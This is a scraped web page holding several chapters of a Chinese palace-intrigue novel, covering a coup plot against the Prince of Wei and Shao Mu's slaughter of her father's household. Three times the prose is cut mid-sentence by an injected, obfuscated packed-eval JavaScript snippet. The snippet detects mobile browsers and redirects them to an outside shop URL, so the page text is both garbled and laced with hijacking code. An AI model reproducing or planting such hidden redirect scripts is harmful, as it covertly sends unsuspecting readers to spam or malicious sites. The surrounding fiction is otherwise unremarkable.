方景澄和邵盛两人都朝声音来处看去,见邵暮下了马车正朝他们走来,方景澄便收了话,等邵暮走到面前时,邵盛正要问话,又见邵暮朝宫门处看去,两人也顺着邵暮的目光看去,是沈安宁出了宫门。 见沈安宁此时正回头看了一眼宫门内,因她刚刚一边在心中思量着方承尧刚刚那话,一边往宫门处来,忽然见一个宫人给自己行礼,本也不是什么怪事,毕竟这是在宫中有宫人很是正常,只是那人将头埋得很低,让沈安宁不得不有所察觉。 沈安宁并未停下,只瞟了一眼那宫人便依旧往宫外走,等那宫人见她离开后才往宫里走时,沈安宁才回头看向那宫人。 这时,沈安宁一回头就见三人正看着自己,便上前行了一礼就要离开,邵盛讥讽道:“沈元帅可别像你父亲一般,看错了人!” 沈安宁闻言回过头看了一眼邵盛,又转头看向邵暮,道:“我阿爹自然不像中书令这般夜盲,将大狱看成了邵府!” 邵盛气道:“是吗?那他为何得此下场?” 沈安宁收回了看向邵暮的目光,盯着邵盛道:“为何?中书令应该比我更清楚啊?” 邵盛一愣,“你在说什么?什么我更清楚?关我什么事?” 沈安宁道:“你身为中书令,这么大案子你难道不清楚?” 邵盛像是松了口气,瞪了沈安宁一眼,“我每天多少公务,哪能件件都记得?” 沈安宁衣袖下的手紧握成拳,邵暮打量了沈安宁一眼,道:“沈姑娘怎么会在此?” 沈安宁的目光又一次定在了邵暮身上,道:“邵姑娘难道不知?” 邵暮举止十分得体,淡定地笑道:“我既无官职,又不常出府,怎么会知道呢?” “看来邵姑娘确实不常出府!”沈安宁收回目光,又接着说道:“不然岂能不知我现在有官职在身!” 邵暮一顿,笑道:“让沈元帅见笑了!” 沈安宁并未接话,见宫门处方景泽和方景沛出来了,便告了辞,转身朝方景泽一礼后离开了。 邵盛见沈安宁如此正要说她,又见方景泽来了,才收了正要出口的话,阴阳怪气地朝方景泽行了一礼,“魏王!” 方景泽却没看他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650924|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是瞥了一眼行礼的邵暮,转身离开了,方景沛见状立即跟上。 等方景泽前脚刚走,方景澄便转身上了马车,邵盛见方景澄如此有些不解,又看向一旁的邵暮,才想起来问道:“你怎么来了?” 邵暮不动声色地收回看着方景泽离开的目光,抬头道:“我在府中一直没等到阿爹的消息,于是问了暗卫,才知阿爹进了宫,于是前来等着!” 邵盛笑了笑,又转头看了看四周才道:“今日你这法子虽险,但看起来效果不错,圣上定是对魏王失望了!” 邵暮一怔,道:“圣上如何说?” 邵盛很是高兴,将在方承尧寝殿中方承尧说得话告诉了邵暮,邵暮听后却是一愣,邵盛则笑着上了马车,邵暮看了一眼方景泽离开的方向,才缓缓转身夜上了马车,车夫架着马车一路朝赵王府而去。 马车上,邵盛见方景澄一直不说话,便看向邵暮,邵暮思索了片刻,又小心地看了一眼方景澄,才道:“阿爹,看来圣上有意魏王继位!” 方景澄闻言回过头打量着邵暮,邵盛一愣,又很快笑道:“你懂什么?魏王一连丢了两个犯人,连这点小事都办不好,圣上怎会传位于他?” 邵暮严肃道:“阿爹,宫中……还有太后娘娘在!” 邵盛一顿,又看向方景澄,见方景澄正看着邵暮,于是邵盛又将目光移到了邵暮身上。 方景澄道:“那你……可有什么想法?” 邵暮听后沉默了许久,回想刚刚沈安宁的话语,想来沈安宁已经开始怀疑自己了,况且经过了两次,方景泽那边必然有所怀疑了,倒不如借此机会,送份大礼给方景泽。 方景澄也没打断邵暮,只看着她,眼见邵盛正着急要说话时,邵暮才像是下了什么决心似的,缓缓抬头对上方景澄的目光,“圣上乃是膏肓之疾,怕是……” 邵盛正想要打断邵暮的话,方景澄却先说道:“继续!” 邵暮看了一眼邵盛,才继续道:“若圣上真有意传位给魏王,想必诏书都已经拟好了!那时,做什么都晚了!倒不如我们先下手为强!” 方景澄和邵盛听后心中都有些猜测,只是都不敢明言,邵盛低声问道:“如何先下手?” 邵暮抬头盯着方景澄道:“二十一年前,废太子谋反被斩,二十一年后,魏王有意谋反,被赵王当场……” “住口!” 邵盛话音一落,邵暮便跪下低着头,邵盛转头看向方景澄,急忙道:“赵……” 方景澄抬手打断了邵盛的话,盯着跪在眼前的邵暮看了许久。 忽然马车停了下来,车夫在外喊道:“赵王!王府到了!” 方景澄沉默了半响,才收回目光,一言不发地下了马车。 邵盛见方景澄就这样下了马车回了府,面上有些疑惑,等了片刻才回头看向还低着头的邵暮,道:“坐下吧!” 邵暮这才抬起头,邵盛朝外吩咐道:“回府!” 马车又跑了起来,邵盛见邵暮一直在看自己,便道:“你是想问我为何不骂你?” 邵暮点了点头,邵盛道:“成王败寇,谋划了这么多年,就差这临门一脚,不管是用什么办法,都不能将皇位拱手相让!” 邵盛说完又看了一眼邵暮,“倒是你!我以前竟是小看了你!” 邵暮立即道:“我一切都是为了帮阿爹!” 邵盛笑了一声,转而又担忧道:“只是不知赵王会不会答应?” 邵暮眼眸一亮,“他会的!” 120. 第一百二十章 筹划 方景澄进了府后,见一个医师从府中出来,心中一惊,急忙问道:“怎么了?” 医师跟着赵王府的下人们朝他行了一礼才笑道:“恭喜王爷!” 方景澄疑道:“到底怎么了?” 医师抬头正要回答,就听见府内传来赵王妃虞芳草的声音,“是王爷回来了吗?” 说着虞芳草便出来了,方景澄立即上前,见虞芳草面色并无异样,才应道:“王妃可是有哪不舒服?” 虞芳草有些羞怯,一旁的医师笑道:“王妃是有喜了!” 方景澄闻言楞了片刻,才问道:“有喜?” 见虞芳草点了点头,方景澄才缓了过来,惊喜道:“有喜?” 方景澄和虞芳草成亲几载,都未能生下一儿半女,赵王府中众人也都明白这个孩子来得有多么不易,因此得知虞芳草有孕后都笑着恭喜。 方景澄忽然像是想到了什么,脸上笑容缓缓消失,虞芳草赏了医师又命人送医师出去,才回头看向方景澄,见他沉默着不知在想什么。 方景澄一边往府中走去,一边喃喃道:“有喜。” 虞芳草不解,让众人都下去,才跟上了方景澄,疑惑道:“王爷?” 方景澄闻声转头看向虞芳草,久久未言,虞芳草想了想,问道:“王爷去大狱可是遇见什么不顺利的事了?” 方景澄停顿了片刻才摇了摇头,扶着虞芳草柔声道:“辛苦了!” 虞芳草笑道:“王爷才是真的辛苦了,以后再也不用吃那药了!” 方景澄看着虞芳草点了点头,最后像是做了什么决定一般,转头吩咐道:“让中书令明天退朝后来一趟!让他带上……邵暮!” 下人应声退下,虞芳草知他和邵盛的关系,也明白这时方承尧病重,正是立储的关键时机,便安静地没有多言,见方景澄回头看向自己,虞芳草笑了笑,就像往常一般支持方景澄的任何决定。 方景澄扶着虞芳草回了房。 此时沈安宁才回到沈府,张千、江时鸣和吕管家早早等在府门处,一见沈安宁回来便迎上前道:“小姐!你回来了!” 沈安宁应了声,看了一眼他们,问道:“为何不进去?” 张千咳了两声没接这话,转头问起沈安宁在进宫后的情况,沈安宁这才想起,朝吕管家吩咐道:“吕叔,去一趟杜翰林府上,让他去一趟毅王府请世子一同前来!” 吕管家应下后转身出了府,沈安宁才一边和张千往府内走去,一边说起宫中的情况,三人一道到了正厅后,见叶云舒和陈子洵都在,两人也都见到了沈安宁和张千,于是起身迎了出来,沈安宁左右看了看,没看到方景淮的身影。 叶云舒见沈安宁模样,便知她是在找方景淮,“今日在宫中为圣上看了诊,圣上……时日无多了!那时燕王正在圣上寝殿外。” 沈安宁听后明白了叶云舒的意思,点了点头,道:“宫中的情况让张叔告诉你们,我先去看看,其余的等世子他们到了我们再说!” 说完沈安宁便来到了厢房外,见方景淮正朝外走来。 方景淮抬头见沈安宁站在门外,展颜一笑,“这算不算心有灵犀?我正想着你应该要回来了!” 沈安宁抬头看向方景淮,顿了顿,道:“你……” 方景淮见状便明白了沈安宁的意图,笑道:“宫中情况如何?” 沈安宁盯着方景淮看了片刻,才将进宫后的事都说与他听,“看来圣上是有意传位给魏王了!” 方景淮思忖道:“那这几日怕是会有大事发生!” “我已经让吕叔去请杜翰林和世子了!” 方景淮点了点头,“那我们出去等他们吧!” 说着方景淮回房拿了一件厚外衫,回头笑道:“还是先不让他们知道我的毒已经解了!免得多生疑心!” 沈安宁看着方景淮披上外衫,又见他朝厢房外走去,沈安宁依旧站在原地看着。 方景淮见沈安宁没有跟上,回头看向她,目光中渐渐有了些笑意,他叹了一口气,道:“我没事!” 方景淮抬头看了一眼缺了一半的月亮,又将带着月光的目光移向沈安宁,“真的!” 沈安宁安静地看了方景淮一会,才跟上他,两人一道出来时,正巧杜桢和方书君也来了,沈安宁让晴云送了茶水过来,又将今日的事悉数告知了两人。 张千听后起身道:“雷炎随黑衣人前来沈府想杀阿宁,被抓后死了,我们放出杞国传来毒药的消息后,宫中白妈妈便因吃了这药死了,沿着长乐坊佩娘的线索找到了全顺,结果全顺也因这毒药死了,明明自从……” 张千正要说方景淮,又看了一眼沈安宁,便换了个说法,“明明这毒药十几年没有出现了,为何一有消息这毒药就又出现了?” 江时鸣跟在张千身后,“这毒药若真是杞国才有的,那下毒之人难道就是杞国奸细?可为什么要杀雷炎?雷炎不是他们自己人吗?而且这个白妈妈一直在宫里,和全顺又有什么关系?” 杜桢思索道:“你们在长乐坊打听到的是说有两人,其中那个叫全顺被抓,还有一人……难道是邵小姐?” 方书君闻言看了一眼杜桢,思忖道:“雷炎和全顺的死邵家都牵连其中,想来那人真有可能是邵小姐,邵家为此才杀了两人灭口,可毒药……难道是从雷炎处拿来的?” 江时鸣惊道:“难道他们和杞国人有勾结?” 陈子洵开口道:“阿宁,你还记得谭将军父子殉职一事吗?” 沈安宁点了点头,陈子洵又道:“我跟着阿爹和军师前往南州,平息战乱后才得以抽出一点空隙调查这件事,军师查到在打仗期间常有洛京的信件送往南州,收信之人正是谭将军身边有一副将吴涛,可惜查不到送信之人是谁,不过军师要我把这件事告诉你,前些日子一直忙也没来及提起。” 江时鸣疑惑道:“军师为何要小陈将军告诉阿宁这个?” 沈安宁想了想,“当初谭将军父子战死,中书令曾推举一人接替谭将军!” “吴涛!” 众人一听杜桢的话,便明白了过来,陈子洵起身道:“和吴涛通信的是中书令?那谭将军父子战死难道真的有隐情?” 张千回头道:“若真有隐情,我定要查清楚,还边境战士们一个真相!” 江时鸣闻言也用力地点了点头。 杜桢端起茶杯喝了一口茶,“如今圣上身体欠安,洛京城要热闹起来了!” 沈安宁给一直安静的方景淮添了杯热茶,“圣上病了许久,太后也未曾去过圣上寝殿,可今日却去了,这个时候去想来是为了诏书。” 方书君听后看向杜桢,看来杜桢当初猜得没错,圣上确实有意传位给方景泽,杜桢思量了片刻,道:“赵王和中书令想必也猜到了圣上的意图。” 方书君点了点头,“我明日去找谷大将军,让他近日多留意宫中的动向!” 叶云舒思忖道:“以圣上的病情……” 叶云舒顿了顿,侧头看了一眼方景淮,见他并无异常,又接着说道:“魏王和赵王若想有动作,必然是这小半月的时间了!” 沈安宁回头看了一眼一直坐在自己身后的方景淮,才道:“北衙六卫大部分是由官宦子弟组成,这一年来虽得谷大将军统领,借着圣上的名义清洗了一些,但其中牵扯繁多,难免有力有不逮的地方,更何况,圣上心中若是早已有了储位人选,这么好的机会,必然会在北衙六卫中留些可用之人,所以,如果魏王和赵王真的有意逼宫,北衙六卫是首要。” 众人听后点了点头,杜桢接道:“其次,这件事不宜声张,所以最好的办法便是从圣上下手,拿到圣上的禅位诏书。” 沈安宁道:“我第一次进宫时,曾有一位叫银杏的宫女为我带路,后来瑶华宫出事,她又去了凝黛宫当差,今日我出宫时正巧碰见她,出了宫门后见邵暮也在,这个银杏或许可以查一查。” 方书君点了点头,忽然外面传来打更声,杜桢起身道:“已是三更天了,今日就到这里吧!我们先告辞了!” 说着方书君也跟着起身了,听杜桢说完后方书君朝方景淮道:“今日不见燕王出声,难道是病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689634|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情又加重了?” 杜桢一听,心中明了,立即接道:“那个传闻的杞国毒药是真的有吗?若是真的或许可以看看是否和燕王的病情有关,如果因此救得燕王身上的旧疾,也是好事一桩!” 沈安宁和方景淮两人听后都明白这是方书君在试探,毕竟方景淮也是皇子,他们也不愿最后为他人做了嫁衣,方景淮裹了裹外衫,正要起身,沈安宁就已经转身去扶他了,方景淮任由沈安宁扶着上前,道:“我没事,不过是个钓鱼的传闻而已,我这副身子已经很多年了,怕是好不了了!” 方书君思量了片刻,道:“堂兄也不必忧虑,船到桥头自然直,日后定会有办法的!” 方景淮笑了笑,“借你吉言!” 方书君又道:“既然今日天色已晚,也不便再打扰沈元帅,不如我送堂兄回府吧!” 方景淮听后一愣,低头咳了两声,悄悄瞥了一眼一旁的沈安宁,才道:“不劳烦世子了!” 杜桢见状看了一眼没任何表情的沈安宁,心中思量了片刻,低头一笑,倒是方书君并未看出方景淮的意图,笑道:“这有什么劳烦的?” 方景淮见状尴尬地笑了笑,道:“那就有劳了!” 说着便一步三回头地跟着方书君离开,杜桢也朝沈安宁告辞,跟上了方书君,沈安宁的目光跟着几人离开,一旁的陈子洵上前,“阿宁,我去送送叶姑娘!” 沈安宁点了点头,转头见叶云舒上前低了低头,沈安宁也回了一礼。 众人都离开了,张千和江时鸣也回自己院子去了,沈安宁才和晴云一道回了院子,伴着风铃声久久未眠。 第二日一早,邵国公府中,邵盛早早地就起了,正要派人去叫邵暮,就见邵暮早已等在外面了,于是邵盛前去梳洗。 王明珠一听邵暮等在外面,心中很是疑惑,近日邵暮和邵盛似乎总有什么瞒着自己,想到这,王明珠起了身,命人叫邵暮进来。 邵暮进了屋后见王明珠还未梳洗,想了想便要主动上前伺候,王明珠嘲讽道:“别用你的脏手碰我!” 邵暮的手停在空中,低着头久久未收回,王明珠漱了口,才问道:“近日你和老爷在做什么?” 邵暮这才收回了手,缓缓抬头看着正坐在前方的王明珠,忽然一声讥笑,道:“夫人怎么不去问老爷啊?” 王明珠见状一时有些发楞,若是往常邵暮绝对不敢这般和自己说话,等王明珠反应过来后便起身给了邵暮一巴掌,“你算个什么东西?敢这样和我说话?” 邵暮只觉得左边耳朵中嗡嗡作响,口中也有些咸,她回过头盯着王明珠,王明珠被她盯得一顿,还要再说时就听见一旁传来邵盛的声音。 “行了!” 下人们闻声都朝邵盛方向行礼,邵盛只看了一眼邵暮,便道:“还不快收拾一下,别让我等你!” 邵暮抬手一擦嘴角的血,转身离开了房间,王明珠气道:“她……” 邵盛立即道:“行了!你看看你!一早上的动什么气啊?我要出去办事,不用等我用饭了!” 说着邵盛也出了房间,王明珠气得拿起桌上的杯子就丢了出去。 邵府的马车一路朝赵王府驶去,马车上,邵盛见邵暮脸上的红印,想了想还是说道:“夫人也是一时脾气上了头,不过你也有错,怎么能这般和夫人说话呢?” 邵暮并未反驳,只低头道:“是!我知道错了!” “知道错了就好!”邵盛眼珠一转,又道:“你有何办法可以帮赵王?” 低着头的邵暮嘴角一抹讥笑,抬起头后又换回了往日的温顺,“等到了赵王府便知了!” 邵盛没问到自己想要的,脸色十分不悦,“你怕为父抢了你的功劳?” 邵暮立即道:“怎么敢?我只是想倒时到了赵王府有了人守着,免得再外说了被别人听了去,毕竟这是杀头的大罪,还是小心为好,阿爹若是想知道,我现在就告诉阿爹!” 邵盛点头道:“我知道你是我的好女儿,你不用担心,尽管说!” 邵暮抬头看向邵盛,“好!” 121. 第一百二十一章 雪恨 邵府的马车晃晃荡荡,马车上邵盛听了邵暮的谋划后停顿了片刻才点了点头,思量了片刻又道:“你怎知赵王一定会答应?” 邵暮笑了笑,方景澄成亲几年没有子嗣,上次前去赵王府时听到下人打碎的送子观音,想来他们是有心求子的,昨天银杏也送来消息,说赵王妃召见了宫中的医师,她打听了才知的赵王妃有了身孕,既然如此,得知圣上有意传位给魏王,那方景澄自然会为了将来考虑。 邵暮只说道:“赵王心气甚高,那会甘居人下?若真让魏王得了大位,赵王该如何自处?所以他自然会答应。” 邵盛闻言点了点头,马车停在了赵王府门口,邵盛和邵暮一道下了马车,早有赵王府的人在门口等着,引着邵盛和邵暮到了方景澄的书房,两人进了书房见方景澄已经在里面等着了。 方景澄一直看着邵暮,见她低着头跟着邵盛行礼问候,方景澄让他们坐下,邵盛便坐到了方景澄的对面,邵暮则是站在了邵盛身旁,方景澄见状只看了一眼邵暮便没再多言。 等方景澄屏退下人后才问道:“昨夜你们说的,再说详细些!” 邵盛和邵暮知他问的是什么,邵暮正要说话,坐着的邵盛便道:“如今以圣上的身体,赵王前去照顾也在情理之中,我们可借此机会,将圣上寝殿的人换一部分,佯装要夺位,故意透露给魏王,届时,魏王一定会带兵前去,那时我们再将魏王抓获,可治他谋反之罪!” 方景澄见他说话很是直白,看来是抓准了自己会参与其中,心中虽有些不满但还是隐而不发,只问道:“以魏王的本事,只换掉圣上寝殿的一部分人应当很快就能察觉其中异常,最好是全部换掉,但以你们的能力,怕是做不到。” 说着方景澄抬头看向一旁的邵暮,“况且即使他上当了,那他想要带兵第一个便是北衙六卫,那时你们又用哪里的兵前去抓他?带兵进宫怕是不用治他谋反,你们便被当作谋反给抓了!” “这……”邵盛闻言犹豫了片刻,转头看向邵暮。 邵暮答道:“圣上寝殿毕竟在宫中,如今掌管后宫的正是贵妃娘娘,即使不用全换也能有办法让他们传不出消息。至于北衙六卫,当初因宫变一事换成了谷鹏掌管,此后他整顿了六卫,清理了一部分人,所以魏王并不能完全掌握北衙六卫,而我们可以在当日调离谷鹏以保护圣上来接管北衙六卫。” 邵盛听后转头看了一眼邵暮,方景澄则是盯着邵暮思量了许久,最后才道:“什么时候动手?” 邵暮低头看了一眼邵盛,道:“今日便可开始!赵王和阿爹等会进宫上朝后,赵王可留在圣上身旁服侍,其他的便要劳烦阿爹前去告知贵妃娘娘了!” 方景澄又是沉默了许久,起身出了书房,邵盛见状起身,满脸的疑惑,“赵王这是何意?” 邵暮道:“许是去告知王妃吧!” 邵盛回过头看向邵暮,“你知道的还挺多!” 邵暮急忙低头道:“多亏了阿爹提点!不然我也不能想到这些!” 邵盛只哼了一声便坐下了。 过了许久方景澄才换了官服前来,邵盛也跟着一道前去宫中上朝,邵暮跟着走出了书房,就见赵王妃虞芳草立在外面,她走近了些朝虞芳草行了一礼。 虞芳草让她起身,目光却一直盯着方景澄离去的背影看了好久才回过头看向邵暮,她一只手摩挲着肚子,问道:“邵姑娘觉得他们此行能成吗?” 邵暮心中虽有答案,却还是被虞芳草的沉着惊到,此事不管如何都是杀头之罪,稍有不慎便是满门抄斩,但虞芳草却好像是并不在乎一般,不知方景澄是怎么和她说的。 “赵王洪福齐天,此去定能成的!” 虞芳草听后神色并未改变,邵暮又道:“若是没什么事,我就先告退了!” 虞芳草点了点头,又吩咐一人套了车送她出去。 宫中,上朝时,方景澄借着雷炎在大狱被截出遇害一事,提出让谷鹏这几日前去巡防京城安危,众人虽有异议,但以中书令为首的一部分官员表示支持,因此谷鹏被派出宫去。 下朝后,沈安宁和方书君一道前来找准备谷鹏,并将昨夜商议之事告知。 谷鹏这才恍然大悟道:“所以赵王有意将我支开?” 方书君点了点头。 沈安宁道:“为了以防万一,圣上必然会在北衙六卫中安插可供自己选定之人调遣的人,届时谷大将军只需顺水推舟即可。” 谷鹏看向一旁的方书君,见他思量了片刻,开口道:“这也是个很好的机会,可将不能用的人一并清除!” 沈安宁和谷鹏皆是一怔,谷鹏转头看向方书君,等了片刻,才道:“是!” 等谷鹏走后,方书君侧头看了一眼沈安宁,道:“沈元帅是否觉得我做的太过了?” 沈安宁行了一礼,“不敢!” 方书君盯着沈安宁看了片刻,道:“出宫吧!” 两人一道出了宫,等沈安宁回到沈府时,江时鸣还在院中跟张千学武艺,昨夜离开的方景淮已经回来了,并且带了梁妈妈,沈安宁进了正厅后,见已经准备好了一桌子饭菜,心中很是温暖。 方景淮笑道:“这可都是梁妈妈的手艺,你可得好好尝尝!” 沈安宁笑了笑,张千从院中走来,道:“那得看看是晴云手艺好还是梁妈妈手艺好了!” 江时鸣收了武器进来道:“有得吃就是好!快坐下吧!我都快饿死了!” 众人落座后,梁妈妈和晴云端着最后的菜前来,吕叔忙给她们摆好了碗筷,三人也被沈安宁拉着一道坐下,一边吃一边说起了今日宫中的情况。 方景淮给沈安宁夹了一块鱼肉,道:“看来他们就要动手了!” 张千道:“这世子这般不是为了排除异己吗?” 沈安宁和方景淮对视了一眼,方景淮道:“他想要的可不止一个北衙六卫。” 张千听后了然,一旁正吃着的江时鸣问道:“什么?他还想要什么?” 梁妈妈看他吃得正香,便道:“先吃饭,你喜欢就多吃点!” 江时鸣笑道:“这做的可太好吃了!” 众人笑了笑,院中渐渐洒进了月光,今夜月光如华,邵暮带了一个帏帽便出了邵府,一人走了很久才到了一处偏僻的小院,她推门进去,院中空无一人,她在院中等了许久,忽然有一个男子的声音传来。 “这就是你说的合作?” 邵暮被这突然发出的声音吓了一跳,又很快反应过来,问道:“我身后的尾巴处理好了吗?” 方景泽从一处黑暗中走了出来,“找我什么事?” 邵暮道:“今夜赵王便留在宫中服侍圣上了!” 方景泽缓缓走近道:“这次,我要怎么信你?” 邵暮抬头盯着方景泽道:“信与不信,魏王心中自有定夺,只是我想能对晋王和鲁王那般的魏王,应该也不会这般没有胆量吧?” 方景泽上前一把掐住了邵暮的脖子,问道:“你知道什么?” 邵暮涨红的脸艰难道:“这……这时候……杀了我……对你……没什么好处,我……我和你……是一样的人!” 方景泽盯着邵暮看了许久,见她面色越来难看,便一把收回了手,邵暮脱离坐到了地上。 “你最好记得你说过的话!” 说完这句话,方景泽便大步离开了小院,邵暮缓了好久才感觉手中有了些力气,她坐了许久才起身出了小院,身后却多了一些人。 第二日,方景泽果然像邵暮所说前去北衙六卫之处,邵盛得了消息立刻带着人准备进宫,邵暮将他送到了邵国公府门口,等送走了邵盛,邵暮回头就见王明珠的贴身侍女站在身后,侍女见了邵暮,便道:“夫人让你前去正厅!” 邵暮沉默了片刻,便笑道:“好!” 侍女觉得邵暮今日的笑有些奇怪,但见邵暮已经动身了,自己便也很快跟上。 等邵暮到了正厅后,见王明珠正坐在主位上喝茶,邵暮上前一礼,王明珠也没正眼看她,只放下了茶杯朝一旁的侍女示意,侍女们得了王明珠的示意上前押着邵暮跪了下来。 王明珠这才开口问道:“说吧!近日你和老爷在忙些什么?” 邵暮忽然冷笑了一声,王明珠见状,正要发怒就听邵暮说道:“还不动手?” 王明珠和众侍女正疑惑时,院中忽然掉下了几个黑衣人的尸体,接着便是十几个黑衣人缓缓跳下,迅速将屋内的侍女都控制住了。 邵暮这才站了起来拍了拍灰,王明珠盯着邵暮道:“你……” 邵暮打断道:“往日里都是我听夫人说,今日夫人便听我来说说吧!” 王明珠拿起桌上的杯子就朝邵暮扔去,被一旁的一个黑衣人接下,黑衣人扔掉了杯子后上前押住了王明珠,王明珠气道:“哪来的狗奴才,竟然敢抓我,你知道我是谁吗?” 邵暮上前一只手指抬起了王明珠的脸蛋看了看,忽然一巴掌下去,王明珠懵了许久,才察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733744|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉嘴角有些血腥味,她不敢置信地看向邵暮,“你敢打我?” 邵暮抬手又是一巴掌,王明珠气的就像是要上前撕咬邵暮,邵暮才看了看有些泛红的手掌,道:“都说了要你听我说。” 众侍女已经被这场景吓到了,这时邵晨正从外面走来,一见这场景立即道:“你们什么人?府卫呢?” 邵暮道:“兄长不必叫了,都被我清理干净了!” “妹……”邵晨这才看见自己母亲,一时急得就要上前,很快被黑衣人拿下。 邵晨抬头看向邵暮,“怎么会?妹妹,这是我们阿娘啊!” “这是你娘!”邵暮回头看向王明珠,“她可从来没把我当女儿!” 邵晨看了看四周的黑衣人,急忙道:“不会的!妹妹,这期间是不是有什么误会?等阿爹回来……等阿爹会来我们再说好吗?” 邵暮冷笑一声道:“等不回来了!” 此话一出,邵晨和王明珠皆是一愣。 邵暮一笑,走向王明珠道:“你不是想知道我们这些天在商议些什么吗?” 看着王明珠的脸庞,邵暮又道:“在商议谋反!” 众人闻言皆是一惊,王明珠摇了摇头道:“不会的!” 邵暮道:“会不会,他都回不来了!” 王明珠直盯着邵暮,“一定是你!一定是你要害我们!” 邵暮忽然收了笑容,“是我?若不是他自己想要一人之下万人之上,怎么会上当?” 邵暮抬起王明珠的下巴道:“是我?我在这府中二十二年过得什么日子?他不知道吗?既然没有这个魄力,当初为何要和柳玉生下我?这都是他应得的!” 邵暮一把推开了王明珠,“只可惜不能自手杀他,但你……” 邵晨见状忙道:“妹妹!妹妹!你……你怎么变成这样了?” 邵暮闻言回过头看向他,“我一直都是这样,不然如何在这邵府活下去?” 说着邵暮走向邵晨道:“你又何必在这扮情深意重?你如何对柳玉的?那才是你堂堂中书令之子吧!” 邵晨一时不知该说什么,王明珠忽然道:“你有什么冲我来!打你骂你都是我!跟阿晨没关系!看在他平时对你不薄的份上,你就放了他吧!” 邵晨带着哭腔道:“阿娘!” 邵暮笑道:“你现在有什么资格吩咐我做事?” 王明珠闻言,低着头缓缓跪下道:“我……求你!放了阿晨吧!千错万错都是我的错!” 邵暮收了笑,看了她许久,便道:“你既然这么想死,那我便成全你!” 说着邵暮示意了一旁的黑衣人,黑衣人便举起了手中的横刀。 邵晨双目睁圆,大喊道:“阿娘!” 忽然有一人从屏风后冲了出来一把撞开了那手举横刀的黑衣人,但横刀锋利还是刮伤了王明珠的手臂,一时手臂上血流不止。 众人被这场面吓了一跳,邵暮也是楞了半响,这才见那撞人的是一个妇人,妇人回头见王明珠手臂都是血,立即回头想要找药和布条。 这时王明珠才看清那人的面容,一把推开那人道:“不用你管!” 邵暮盯着那妇人神色愈发冰冷,王明珠指着邵暮朝那妇人道:“这就是你生的孽障!我前辈子是不是欠你们的?” 柳玉要给王明珠上药,被王明珠躲开了,柳玉忙道:“小姐!让我来给你上药吧!” 王明珠怒道:“你现在带着你生的孽障都给我滚!” 邵暮冷道:“都给我拿下!” 黑衣人迅速将王明珠和柳玉押住,邵暮朝柳玉道:“你看清楚!她们根本没把你放在眼里!” 柳玉这才看向邵暮,道:“我和小姐一同长大,我从来没想过背叛小姐,我也从来没想过要生下你!” 邵暮闻言楞了许久,所以这一切都是错的,就连自己出生都是错的,她一言未发,转身离开了正厅,只留下了一句,“都杀了!” 邵暮背后是邵府的哭喊声,前面则是邵府的大门,她看着这方方正正的府门沉默了许久。 山桃从旁边走来,被这惊心的叫喊声吓得不敢说话,山桃一见邵暮便立即上前道:“小姐,这是怎么了?” 忽然一个人头掉了出来,山桃被吓得坐到了地上,黑衣人出来捡起了人头,见这边还有一人,便提着横刀缓缓朝这边走来,山桃坐在了邵暮面前挥舞着双手道:“别过来!你别过来!” 邵暮低头看向了山桃。 122. 第一百二十二章 归还 月明如昼,此时的方承尧寝殿外忽然有几个宫人被叫走,过了一阵又来了几人补上了那几人的缺,方景澄看了一眼便替睡着的方承尧关上了门,自己则是转身离开了。 方景澄正往北门走去,就见邵盛已经在此处等他了,等方景澄上前,邵盛便低声道:“消息都放出去了!现在就等魏王上钩了!” 方景澄点了点头,两人一道离开了。 夜半时分,北衙六卫果然有了动静,邵盛正看向那处光亮时,有一人上前道:“禀王爷、中书令,魏王从北衙六卫调了百来人离开!” 邵盛忙道:“好!好!” 方景澄起身道:“你去准备人马,我们也该动身了!” “是!”那人应下后离开了。 方景澄这才朝门口走去,邵盛立即跟上,等方景澄和邵盛带着五百人前往方承尧寝殿时,见寝殿十分安静,方景澄心中察觉异常,邵盛却上前推开了门,忽然一支箭从殿中射出,方景澄立即拉开了邵盛,那支箭射中了方景澄身后的一个侍卫。 方景澄已全然明白,看来是中计了,这时方景泽带着方景沛和侍卫从一旁围了上来,看了一眼方景澄便下令道:“赵王深夜带兵前来圣上寝殿,蓄意谋反,来人!给我拿下!” 随着方景泽一声令下,从寝殿四周涌出了一支禁军,迅速将方景澄等人围住,被围住的侍卫见对方人数众多,纷纷有了退意。 邵盛惊恐地看向方景澄,见方景澄沉默地看了方景泽许久,最后举起了手中的横刀,朝方景泽冲了过去,方景泽并未和他交手,方景澄被方景泽前面的禁军拦下,这场战斗很快就结束了,方景澄、邵盛等也被禁军拦下。 